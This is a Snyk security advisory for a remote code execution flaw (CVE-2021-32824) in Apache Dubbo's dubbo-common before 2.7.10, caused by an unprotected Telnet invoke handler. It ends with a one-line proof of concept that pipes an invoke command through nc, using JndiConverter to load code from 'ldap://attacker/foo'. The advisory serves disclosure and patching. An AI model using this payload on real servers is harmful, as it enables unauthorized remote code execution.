Homepage
About Snyk

Remote Code Execution (RCE) Affecting org.apache.dubbo:dubbo-common package, versions [,2.7.10)

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    EPSS 0.19% (56th percentile)
Expand this section
NVD
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGAPACHEDUBBO-3188561
  • published 4 Jan 2023
  • disclosed 4 Jan 2023
  • credit GitHub Security Lab
Report a new vulnerability Found a mistake?

Introduced: 4 Jan 2023

CVE-2021-32824 Open this link in a new tab
CWE-94 Open this link in a new tab

How to fix?

Upgrade org.apache.dubbo:dubbo-common to version 2.7.10 or higher.

Overview

org.apache.dubbo:dubbo-common is a high-performance, java based, open source RPC framework.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via arbitrary bean manipulation in the Telnet handler. This endpoint is unprotected and can be accessed via the Dubbo main service port to collect information, execute methods exposed by the service, and shut down the application. A provider method can be invoked using the invoke handler, which later uses PojoUtils.realize which can be used to instantiate arbitrary classes and invoke its setters.

PoC 

echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap://attacker/foo'})" | nc -i 1 dubbo_server 20880